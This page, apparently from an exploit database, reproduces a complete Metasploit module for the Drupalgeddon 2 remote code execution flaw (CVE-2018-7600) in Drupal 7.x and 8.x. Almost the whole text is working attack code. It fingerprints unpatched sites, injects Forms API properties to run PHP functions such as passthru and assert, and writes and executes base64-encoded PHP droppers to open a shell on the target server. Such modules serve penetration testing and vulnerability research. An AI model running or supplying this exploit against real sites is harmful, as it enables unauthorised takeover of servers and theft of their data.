Drupal Drupalgeddon 2 Forms API Property Injection



EKU-ID: 7566 CVE: 2018-7600 OSVDB-ID:
Author: wvu Published: 2018-04-27 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  # XXX: CmdStager can't handle badchars
  include Msf::Exploit::PhpEXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Drupal Drupalgeddon 2 Forms API Property Injection',
      'Description'    => %q{
        This module exploits a Drupal property injection in the Forms API.

        Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
      },
      'Author'         => [
        'Jasper Mattsson', # Vulnerability discovery
        'a2u',             # Proof of concept (Drupal 8.x)
        'Nixawk',          # Proof of concept (Drupal 8.x)
        'FireFart',        # Proof of concept (Drupal 7.x)
        'wvu'              # Metasploit module
      ],
      'References'     => [
        ['CVE', '2018-7600'],
        ['URL', 'https://www.drupal.org/sa-core-2018-002'],
        ['URL', 'https://greysec.net/showthread.php?tid=2912'],
        ['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
        ['URL', 'https://github.com/a2u/CVE-2018-7600'],
        ['URL', 'https://github.com/nixawk/labs/issues/19'],
        ['URL', 'https://github.com/FireFart/CVE-2018-7600'],
        ['AKA', 'SA-CORE-2018-002'],
        ['AKA', 'Drupalgeddon 2']
      ],
      'DisclosureDate' => 'Mar 28 2018',
      'License'        => MSF_LICENSE,
      'Platform'       => ['php', 'unix', 'linux'],
      'Arch'           => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
      'Privileged'     => false,
      'Payload'        => {'BadChars' => '&>\''},
      # XXX: Using "x" in Gem::Version::new isn't technically appropriate
      'Targets'        => [
        #
        # Automatic targets (PHP, cmd/unix, native)
        #
        ['Automatic (PHP In-Memory)',
         'Platform'    => 'php',
         'Arch'        => ARCH_PHP,
         'Type'        => :php_memory
        ],
        ['Automatic (PHP Dropper)',
         'Platform'    => 'php',
         'Arch'        => ARCH_PHP,
         'Type'        => :php_dropper
        ],
        ['Automatic (Unix In-Memory)',
         'Platform'    => 'unix',
         'Arch'        => ARCH_CMD,
         'Type'        => :unix_memory
        ],
        ['Automatic (Linux Dropper)',
         'Platform'    => 'linux',
         'Arch'        => [ARCH_X86, ARCH_X64],
         'Type'        => :linux_dropper
        ],
        #
        # Drupal 7.x targets (PHP, cmd/unix, native)
        #
        ['Drupal 7.x (PHP In-Memory)',
         'Platform'    => 'php',
         'Arch'        => ARCH_PHP,
         'Version'     => Gem::Version.new('7.x'),
         'Type'        => :php_memory
        ],
        ['Drupal 7.x (PHP Dropper)',
         'Platform'    => 'php',
         'Arch'        => ARCH_PHP,
         'Version'     => Gem::Version.new('7.x'),
         'Type'        => :php_dropper
        ],
        ['Drupal 7.x (Unix In-Memory)',
         'Platform'    => 'unix',
         'Arch'        => ARCH_CMD,
         'Version'     => Gem::Version.new('7.x'),
         'Type'        => :unix_memory
        ],
        ['Drupal 7.x (Linux Dropper)',
         'Platform'    => 'linux',
         'Arch'        => [ARCH_X86, ARCH_X64],
         'Version'     => Gem::Version.new('7.x'),
         'Type'        => :linux_dropper
        ],
        #
        # Drupal 8.x targets (PHP, cmd/unix, native)
        #
        ['Drupal 8.x (PHP In-Memory)',
         'Platform'    => 'php',
         'Arch'        => ARCH_PHP,
         'Version'     => Gem::Version.new('8.x'),
         'Type'        => :php_memory
        ],
        ['Drupal 8.x (PHP Dropper)',
         'Platform'    => 'php',
         'Arch'        => ARCH_PHP,
         'Version'     => Gem::Version.new('8.x'),
         'Type'        => :php_dropper
        ],
        ['Drupal 8.x (Unix In-Memory)',
         'Platform'    => 'unix',
         'Arch'        => ARCH_CMD,
         'Version'     => Gem::Version.new('8.x'),
         'Type'        => :unix_memory
        ],
        ['Drupal 8.x (Linux Dropper)',
         'Platform'    => 'linux',
         'Arch'        => [ARCH_X86, ARCH_X64],
         'Version'     => Gem::Version.new('8.x'),
         'Type'        => :linux_dropper
        ]
      ],
      'DefaultTarget'  => 0, # Automatic (PHP In-Memory)
      'DefaultOptions' => {'WfsDelay' => 2}
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']),
      OptString.new('PHP_FUNC',  [true, 'PHP function to execute', 'passthru']),
      OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])
    ])

    register_advanced_options([
      OptBool.new('ForceExploit',  [false, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
    ])
  end

  def check
    checkcode = CheckCode::Safe

    if drupal_version
      print_status("Drupal #{@version} targeted at #{full_uri}")
      checkcode = CheckCode::Detected
    else
      print_error('Could not determine Drupal version to target')
      return CheckCode::Unknown
    end

    if drupal_unpatched?
      print_good('Drupal appears unpatched in CHANGELOG.txt')
      checkcode = CheckCode::Appears
    end

    token = random_crap
    res   = execute_command(token, func: 'printf')

    if res && res.body.start_with?(token)
      checkcode = CheckCode::Vulnerable
    end

    checkcode
  end

  def exploit
    unless check == CheckCode::Vulnerable || datastore['ForceExploit']
      fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
    end

    if datastore['PAYLOAD'] == 'cmd/unix/generic'
      print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
      # XXX: Naughty datastore modification
      datastore['DUMP_OUTPUT'] = true
    end

    # NOTE: assert() is attempted first, then PHP_FUNC if that fails
    case target['Type']
    when :php_memory
      execute_command(payload.encoded, func: 'assert')

      sleep(wfs_delay)
      return if session_created?

      # XXX: This will spawn a *very* obvious process
      execute_command("php -r '#{payload.encoded}'")
    when :unix_memory
      execute_command(payload.encoded)
    when :php_dropper, :linux_dropper
      dropper_assert

      sleep(wfs_delay)
      return if session_created?

      dropper_exec
    end
  end

  def dropper_assert
    php_file = Pathname.new(
      "#{datastore['WritableDir']}/#{random_crap}.php"
    ).cleanpath

    # Return the PHP payload or a PHP binary dropper
    dropper = get_write_exec_payload(
      writable_path: datastore['WritableDir'],
      unlink_self:   true # Worth a shot
    )

    # Encode away potential badchars with Base64
    dropper = Rex::Text.encode_base64(dropper)

    # Stage 1 decodes the PHP and writes it to disk
    stage1 = %Q{
      file_put_contents("#{php_file}", base64_decode("#{dropper}"));
    }

    # Stage 2 executes said PHP in-process
    stage2 = %Q{
      include_once("#{php_file}");
    }

    # :unlink_self may not work, so let's make sure
    register_file_for_cleanup(php_file)

    # Hopefully pop our shell with assert()
    execute_command(stage1.strip, func: 'assert')
    execute_command(stage2.strip, func: 'assert')
  end

  def dropper_exec
    php_file = "#{random_crap}.php"
    tmp_file = Pathname.new(
      "#{datastore['WritableDir']}/#{php_file}"
    ).cleanpath

    # Return the PHP payload or a PHP binary dropper
    dropper = get_write_exec_payload(
      writable_path: datastore['WritableDir'],
      unlink_self:   true # Worth a shot
    )

    # Encode away potential badchars with Base64
    dropper = Rex::Text.encode_base64(dropper)

    # :unlink_self may not work, so let's make sure
    register_file_for_cleanup(php_file)

    # Write the payload or dropper to disk (!)
    # NOTE: Analysis indicates > is a badchar for 8.x
    execute_command("echo #{dropper} | base64 -d | tee #{php_file}")

    # Attempt in-process execution of our PHP script
    send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, php_file)
    )

    sleep(wfs_delay)
    return if session_created?

    # Try to get a shell with PHP CLI
    execute_command("php #{php_file}")

    sleep(wfs_delay)
    return if session_created?

    register_file_for_cleanup(tmp_file)

    # Fall back on our temp file
    execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")
    execute_command("php #{tmp_file}")
  end

  def execute_command(cmd, opts = {})
    func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'

    vprint_status("Executing with #{func}(): #{cmd}")

    res =
      case @version.to_s
      when '7.x'
        exploit_drupal7(func, cmd)
      when '8.x'
        exploit_drupal8(func, cmd)
      end

    if res && res.code != 200
      print_error("Unexpected reply: #{res.inspect}")
      return
    end

    if res && datastore['DUMP_OUTPUT']
      print_line(res.body)
    end

    res
  end

  def drupal_version
    if target['Version']
      @version = target['Version']
      return @version
    end

    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => target_uri.path
    )

    return unless res && res.code == 200

    # Check for an X-Generator header
    @version =
      case res.headers['X-Generator']
      when /Drupal 7/
        Gem::Version.new('7.x')
      when /Drupal 8/
        Gem::Version.new('8.x')
      end

    return @version if @version

    # Check for a <meta> tag
    generator = res.get_html_document.at(
      '//meta[@name = "Generator"]/@content'
    )

    return unless generator

    @version =
      case generator.value
      when /Drupal 7/
        Gem::Version.new('7.x')
      when /Drupal 8/
        Gem::Version.new('8.x')
      end
  end

  def drupal_unpatched?
    unpatched = true

    # Check for patch level in CHANGELOG.txt
    uri =
      case @version.to_s
      when '7.x'
        normalize_uri(target_uri.path, 'CHANGELOG.txt')
      when '8.x'
        normalize_uri(target_uri.path, 'core/CHANGELOG.txt')
      end

    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => uri
    )

    return unless res && res.code == 200

    if res.body.include?('SA-CORE-2018-002')
      unpatched = false
    end

    unpatched
  end

  def exploit_drupal7(func, code)
    vars_get = {
      'q'                    => 'user/password',
      'name[#post_render][]' => func,
      'name[#markup]'        => code,
      'name[#type]'          => 'markup'
    }

    vars_post = {
      'form_id'                  => 'user_pass',
      '_triggering_element_name' => 'name'
    }

    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => target_uri.path,
      'vars_get'  => vars_get,
      'vars_post' => vars_post
    )

    return res unless res && res.code == 200

    form_build_id = res.get_html_document.at(
      '//input[@name = "form_build_id"]/@value'
    )

    return res unless form_build_id

    vars_get = {
      'q' => "file/ajax/name/#value/#{form_build_id.value}"
    }

    vars_post = {
      'form_build_id' => form_build_id.value
    }

    send_request_cgi(
      'method'    => 'POST',
      'uri'       => target_uri.path,
      'vars_get'  => vars_get,
      'vars_post' => vars_post
    )
  end

  def exploit_drupal8(func, code)
    # Clean URLs are enabled by default and "can't" be disabled
    uri = normalize_uri(target_uri.path, 'user/register')

    vars_get = {
      'element_parents' => 'account/mail/#value',
      'ajax_form'       => 1,
      '_wrapper_format' => 'drupal_ajax'
    }

    vars_post = {
      'form_id'              => 'user_register_form',
      '_drupal_ajax'         => 1,
      'mail[#type]'          => 'markup',
      'mail[#post_render][]' => func,
      'mail[#markup]'        => code
    }

    send_request_cgi(
      'method'    => 'POST',
      'uri'       => uri,
      'vars_get'  => vars_get,
      'vars_post' => vars_post
    )
  end

  def random_crap
    Rex::Text.rand_text_alphanumeric(8..42)
  end

end